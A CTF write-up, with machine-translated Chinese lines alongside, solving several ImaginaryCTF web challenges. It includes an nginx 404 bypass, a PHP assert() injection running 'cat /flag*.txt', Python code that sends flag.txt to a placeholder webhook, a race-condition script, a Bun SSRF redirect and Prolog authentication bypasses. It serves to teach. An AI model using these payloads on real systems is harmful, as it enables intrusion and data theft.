All of the challenge archives can be found here
所有的挑战档案可以在这里找到
readme
Looking at NGINX default.conf
, if the file exists in the server it will give the user 404 Error
看看NGINX default.conf
,如果文件存在于服务器中,它将给用户 404 Error
1 2 3 4 5 6 7 8 9 10 11 12 |
server { listen 80 default_server; listen [::]:80; root /app/public; location / { if (-f $request_filename) { return 404; } proxy_pass http://localhost:8000; } } |
The location of flag located in the same folder as index.html
named flag.txt
. Browsing directly the WEB URL, will give the user the following response.
标志的位置位于与 index.html
相同的文件夹中,名为 flag.txt
。直接浏览WEB URL,会给用户以下回复。
1 2 3 4 5 6 7 8 9 10 11 12 |
└─$ curl http://readme.chal.imaginaryctf.org/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Hello World</title> </head> <body> It works! </body> </html> |
Accessing, flag.txt
or index.html
will give 404 Error
flag.txt
或 index.html
将给出 404 Error
1 2 3 4 5 6 7 8 |
└─$ curl http://readme.chal.imaginaryctf.org/index.html <html> <head><title>404 Not Found</title></head> <body> <center><h1>404 Not Found</h1></center> <hr><center>nginx/1.22.1</center> </body> </html> |
How can we bypass this? Atleast we know the version of the NGINX used is 1.22.1
. Searching for request_filename
in the NGINX configuration file led us to this Hacktricks : Proxy Protections Bypass article.
我们怎么能绕过这个?至少我们知道使用的NGINX版本是 1.22.1
。在NGINX配置文件中搜索 request_filename
,我们找到了这篇Hacktricks:Proxy Protections Bypass文章。
Either using Burp or use a simple netcat method as shown below to get the flag.
使用Burp或使用下面所示的简单netcat方法来获取标志。
1 2 |
└─$ echo -e "GET /flag.txt\xA0\x0aHTTP/1.1" | nc readme.chal.imaginaryctf.org 80 ictf{path_normalization_to_the_res |
Flag: ictf{path_normalization_to_the_res
标记: ictf{path_normalization_to_the_res
journal 杂志
When I read the index.php
, there is one line that catch my eyes
当我读到 index.php
时,有一行吸引了我的眼球
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<?php echo "<p>Welcome to my journal app!</p>"; echo "<p><a href=/?file=file1.txt>file1.txt</a></p>"; echo "<p><a href=/?file=file2.txt>file2.txt</a></p>"; echo "<p><a href=/?file=file3.txt>file3.txt</a></p>"; echo "<p><a href=/?file=file4.txt>file4.txt</a></p>"; echo "<p><a href=/?file=file5.txt>file5.txt</a></p>"; echo "<p>"; if (isset($_GET['file'])) { $file = $_GET['file']; $filepath = './files/' . $file; // This line look suspicious? assert("strpos('$file', '..') === false") or die("Invalid file!"); if (file_exists($filepath)) { include($filepath); } else { echo 'File not found!'; } } echo "</p>"; |
Our input directly used in the assert()
function. Won’t that be dangerous? After try and error we can read the flag with the following payload
我们的输入直接用于 assert()
函数。那不是很危险吗在尝试和错误之后,我们可以读取具有以下有效负载的标志
1 2 3 4 5 |
# URL Encoded test%27,%27..%27)%20or%20die(system(%27cat%20/flag*.txt%27));// # Original test','..') or die(system('cat /flag*.txt'));// |
Flag: ictf{assertion_failed_e3106922feb13b10}
标记: ictf{assertion_failed_e3106922feb13b10}
P2C
I feel that my solution for this challenge is unintended. By using local environment, I noticed that it’s possible to execute python code. If we insert print(1)
.
我觉得我对这个挑战的解决方案是无意的。通过使用本地环境,我注意到可以执行python代码。如果我们插入 print(1)
。
The following temporary file with code*.py
will be created in /tmp/uploads
directory.
以下带有 code*.py
的临时文件将在 /tmp/uploads
目录中创建。
Since we are able to inject any python code in main()
function. We just need to create a payload that will send us back the flag.txt
content. But the docker environment did not include wget
or curl
. So, I used curl static binary to exfiltrate flag.txt
因为我们可以在 main()
函数中注入任何Python代码。我们只需要创建一个payload,它会将 flag.txt
内容发送给我们。但是Docker环境并不包括 wget
或 curl
。所以,我使用curl静态二进制文件来exfilter flag.txt
1 2 3 4 |
import base64,os curl_content=b"<BASE64_CURL_CONTENT" open("/tmp/curl","wb").write(curl_content) os.system("chmod +x /tmp/curl;/tmp/curl https://<WEBHOOK_SERVER>/?content=`cat flag.txt |base64 -w0`") |
NOTES: Actually urllib library can be use also xD
注:实际上urllib库也可以使用XD
1 2 3 4 5 6 7 8 9 |
# POST Method from urllib.request import urlopen, Request httprequest = Request('https://<WEBHOOK>/',data=open("flag.txt","r"),method='POST') urlopen(httprequest) # GET Method from urllib.request import urlopen, Request httprequest = Request('https://<WEBHOOK>/?='+open("flag.txt","r").read()) urlopen(httprequest) |
Flag: ictf{d1_color_picker_fr_2ce0dd3d}
标记: ictf{d1_color_picker_fr_2ce0dd3d}
crystal 晶体
This is a web challenge with Ruby framework. Interestingly, there is not much in app.rb
这是Ruby框架的一个Web挑战。有趣的是, app.rb
中没有太多
1 2 3 4 5 6 |
require 'sinatra' # Route for the index page get '/' do erb :index end |
The flag not located in usual place but embedded in the hostname
.
国旗不在通常的位置,而是嵌入 hostname
。
1 2 3 4 5 6 7 |
version: '3.3' services: deployment: hostname: $FLAG build: . ports: - 10001:80 |
How could we possibly get the hostname
from the web? Is it possible that we could get the hostname through error page or invalid page? By sending a random path, we get the following page.
我们怎么可能从网络上得到 hostname
呢?有没有可能通过错误页面或无效页面获取主机名?通过发送一个随机路径,我们得到以下页面。
By sending a POST request, we get the following response.
通过发送POST请求,我们得到以下响应。
1 2 3 4 5 |
└─$ curl -XPOST http://crystals.chal.imaginaryctf.org WEBrick::HTTPStatus::LengthRequired: WEBrick::HTTPStatus::LengthRequired /var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:530:in `read_body' /var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:257:in `body' /var/lib/gems/3.0.0/gems/rackup-2.1.0/lib/rackup/handler/webrick.rb:67:in `block in initialize' |
What if we send all special characters and see if we could get different response? I use the following script and identify few characters that could get us the flag!
如果我们发送所有的特殊字符,看看是否能得到不同的响应呢?我使用下面的脚本,并确定几个字符,可以让我们的旗帜!
1 2 3 4 5 6 7 8 9 10 11 |
# Script for chars in '!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '-' '=' '+' '[' ']' '{' '}' ';' ':' '"' "'" '<' '>' ',' '.' '/' '?' '\\' '|' '`'; do echo $chars;echo;curl -ks "http://crystals.chal.imaginaryctf.org/"$chars| grep -i ictf;done # Characters with Bad URI ^ " < > \ | ` |
Flag: ictf{seems_like_you_broke_it_pretty_bad_76a87694}
标记: ictf{seems_like_you_broke_it_pretty_bad_76a87694}
The Amazing Race 极速前进
To get the source code, we need to hit the following endpoints:
要获取源代码,我们需要访问以下端点:
maze.py = /maze app.py = /source Dockerfile = /docker |
It took me a while to understand the code, but atleast we know how to get the flag. From app.py
, the solved
variable will be use to determine if we can get the flag or not
我花了一段时间才理解代码,但至少我们知道如何得到标志。从 app.py
开始,将使用 solved
变量来确定我们是否可以获得标志
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
MAZE_SIZE = 35 @app.route("/<mazeId>") def index(mazeId): if not mazeId: return redirect(f"/{createMaze()}") # if our maze ID location equal to this value we can get the flag # getloc(mazeId) == (34,34) solved=getLoc(mazeId) == (MAZE_SIZE-1, MAZE_SIZE-1) return render_template("maze.html", maze=getMaze(mazeId), mazeId=mazeId, flag=open("flag.txt").read() if solved else "" ) |
But looking at the maze page, we probably need to find a way to get into F.
但是看看迷宫页面,我们可能需要找到一种进入F的方法。
The neighbour of F will be sets to #
.
F的邻居将被设置为 #
。
1 2 3 4 5 |
def gen(self): ... self.set(*([self.size-1]*self.dim), val='F') for i in self.neighbors(*([self.size-1]*self.dim)): self.set(*i, val='#') |
I tried to solve the maze using python
but actually that’s not the right path because of the above restrictions :’) Thanks @vicevirus and @zx for finding the right path! It’s related to race condition attack.
我尝试使用 python
解决迷宫,但实际上这不是正确的路径,因为上述限制:’)感谢@vicevirus和@zx找到正确的路径!这与竞争条件攻击有关。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
import sys,requests,threading from bs4 import BeautifulSoup as bs import time # Global Variables TARGET = "http://the-amazing-race.chal.imaginaryctf.org/" TARGET_MOVE = "http://the-amazing-race.chal.imaginaryctf.org/move" MAZE_ID = "" # Function : getMaze() def getMaze(): resp = requests.get(TARGET,verify=False) soup=bs(resp.text, 'html.parser') maze = soup.find('code').text.strip() mazeid = resp.url.split("/")[-1] return maze,mazeid def getCurrentMaze(): resp = requests.get(TARGET,verify=False) soup=bs(resp.text, 'html.parser') maze = soup.find('code').text.strip() return maze def moveDown(): requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Down":"Down"},params = {'id': MAZE_ID,'move': 'down'}) def moveRight(): requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Right":"Right"},params = {'id': MAZE_ID,'move': 'right'}) def moveLeft(): requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Left":"Left"},params = {'id': MAZE_ID,'move': 'left'}) def moveUp(): requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Up":"Up"},params = {'id': MAZE_ID,'move': 'up'}) if __name__ == "__main__": # Get Maze maze,MAZE_ID = getMaze() TARGET = TARGET+MAZE_ID print(maze) print() while ("ictf" not in requests.get(TARGET,verify=False).text): before = getCurrentMaze() # Race down for i in range(10): th = threading.Thread(target=moveDown, args=()) th.start() # Race right for i in range(10): th = threading.Thread(target=moveRight, args=()) th.start() after = getCurrentMaze() if before == after: moveLeft() moveUp() print(getCurrentMaze()) print() else: print(getCurrentMaze()) print() print(requests.get(TARGET,verify=False).text) |
NOTES: After the event I read some articles related to Database Race Conditions. You can find the article below
注:活动结束后,我读了一些与数据库竞赛条件相关的文章。您可以在下面找到文章
Link: https://medium.com/@C0l0red/database-race-conditions-f459d94ee2d0
网址:https://medium.com/@C0l0red/database-race-conditions-f459d94ee2d0
Flag : ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st}
标记: ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st}
readme2
This challenge using Bun
to create a HTTP server.
这个挑战使用 Bun
来创建一个HTTP服务器。
There are two (2) ports involved which are 3000 (internal)
and 4000 (external)
. There are few restrictions in here that could restrict the user from adding any flag
keywords in URL or HTTP Headers. To get the flag, the user need to send a request to /flag.txt
on port 3000
.
涉及两(2)个端口,即 3000 (internal)
和 4000 (external)
。这里有一些限制,可以限制用户在URL或HTTP头中添加任何 flag
关键字。要获取标记,用户需要在端口 3000
上向 /flag.txt
发送请求。
There is one interesting line that catch my eyes.
有一句话很有意思,吸引了我的目光。
1 2 3 4 5 |
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), { method: req.method, headers: req.headers, body: req.body }) |
Searching around, I discovered this article by Mizu. Reading through the writeup, the payload that he used was \\127.0.0.1\a
. When I put \\google.com
it redirected to official Google website.
四处搜寻,我发现了Mizu的这篇文章。通过阅读,他使用的有效载荷是 \\127.0.0.1\a
。当我把 \\google.com
它重定向到官方谷歌网站。
At first, I got no clue for the next steps. But, thanks to @vicevirus hints the solution would be to utilize fetch()
redirection.
一开始,我对接下来的步骤毫无头绪。但是,感谢@vicevirus的提示,解决方案将是利用 fetch()
重定向。
For this, we may need to setup a HTTP server that will redirect to http://localhost:3000/flag.txt
为此,我们可能需要设置一个HTTP服务器,将重定向到 http://localhost:3000/flag.txt
1 2 3 4 5 6 7 8 9 10 |
from flask import Flask, redirect app = Flask(__name__) @app.route("/", methods=["GET"]) def index(): return redirect("http://localhost:3000/flag.txt") if __name__ == '__main__': app.run(host="0.0.0.0", port=8080) |
Then, send the payload as shown in the picture.
然后,如图所示发送有效载荷。
Flag: ictf{just_a_funny_bug_in_bun_http_handling}
标记: ictf{just_a_funny_bug_in_bun_http_handling}
Pwning en Logique
For this challenge, I didn’t manage to solve it during the event. But for learning purpose, let’s go through together from what have been discussed in the Official discord server.
对于这个挑战,我没有设法解决它在活动期间。但为了学习的目的,让我们一起从官方不和服务器中讨论的内容开始。
FORMAT STRING VULNERABILITY
格式字符串漏洞
Looking at the greet
, there is a usage of format()
function.
看看 greet
,有一个 format()
函数的用法。
1 2 3 4 5 6 7 8 |
greet(Request) :- http_session_data(username(Username)), http_parameters(Request, [ greeting(Greeting, [default('Hello')]), format(Format, [default('~w, ~w!')]) ]), content_type, format(Format, [Greeting, Username]). |
If we use the default creds guest:guest
and access /greet
we will get the following response.
如果我们使用默认的creds guest:guest
和access /greet
,我们将得到以下响应。
Im not familiar with prolog
but actually there are two (2) HTTP parameters that we can use greeting
and format
.
我不熟悉 prolog
,但实际上有两个(2)HTTP参数,我们可以使用 greeting
和 format
。
But is there anything that we could abused from these parameters? At the end our input will go through the following code:
但是,我们是否可以从这些参数中滥用任何东西?最后,我们的输入将经过以下代码:
1 2 3 4 5 |
# Original format(Format, [Greeting, Username]) # Input: greeting=Hello, format='~w, ~w!' format('~w, ~w!', ['Hello', 'guest']) |
More information about format string can be found in here. I noticed that the error of using “~@” will call a prologue predicate.
有关格式字符串的更多信息可以在这里找到。我注意到使用“~@”的错误将调用序言谓词。
Unknown procedure: test123/0
Maybe we need to find prologue predicate that ends with /0
? Searching around, I found this and this page. Try and error, I found a good candidate that can be use to get our flag!
也许我们需要找到以 /0
结尾的prologue谓词?我四处寻找,找到了这个和这个页面。尝试和错误,我发现了一个很好的候选人,可以用来得到我们的旗帜!
edit/0 == will open the editor of server.pl locally (Cannot use remotely I guess?) listing/0 == lists all predicates defined |
Link to listing/0 predicate: https://www.swi-prolog.org/pldoc/man?predicate=listing/0
链接到列表/0谓词:https://www.swi-prolog.org/pldoc/man?谓词=列表/0
ARBITRARY CONTENT-TYPE 任意内容类型
Another solution discussed in the discord server is not related to format string issue. I found some good reference in here
discord服务器中讨论的另一个解决方案与格式字符串问题无关。我在这里找到了一些很好的参考资料
If we look into login
function, there is no content-type
restrictions in here as well as the usage of member()
to check the Users list.
如果我们研究一下 login
函数,这里没有 content-type
限制,也没有使用 member()
来检查用户列表。
1 2 3 4 5 6 7 8 9 10 11 12 |
login(Request) :- member(method(post), Request), http_read_data(Request, Data, []), (( member(username=Username, Data), member(password=Password, Data), users(Users), member(Username=Password, Users), http_session_retractall(_OldUsername), http_session_assert(username(Username)), http_redirect(see_other, '/greet', Request) ); |
By sending the following request, I assumed (I’m not really sure.. Could be wrong) it will use with the following check
通过发送以下请求,我假设(我不是很确定)。可能是错误的),它将与以下检查一起使用
1 2 3 4 |
member(guest='password',[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).
# Result
false.
|
But if we use content type application/x-prolog
, we could set the password to uninitialized variable. This will let us to bypass the authentication as it will always set to true.
但是如果我们使用内容类型 application/x-prolog
,我们可以将密码设置为未初始化的变量。这将允许我们绕过身份验证,因为它将始终设置为true。
1 2 3 4 |
member(guest=Unknownvariable,[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).
# Result
Unknownvariable = guest . (true?)
|
With this in knowledge, we could send the following data to login as admin and get the flag.
有了这些知识,我们可以发送以下数据以管理员身份登录并获取标志。
[username=admin,password=Unknownvariable]. |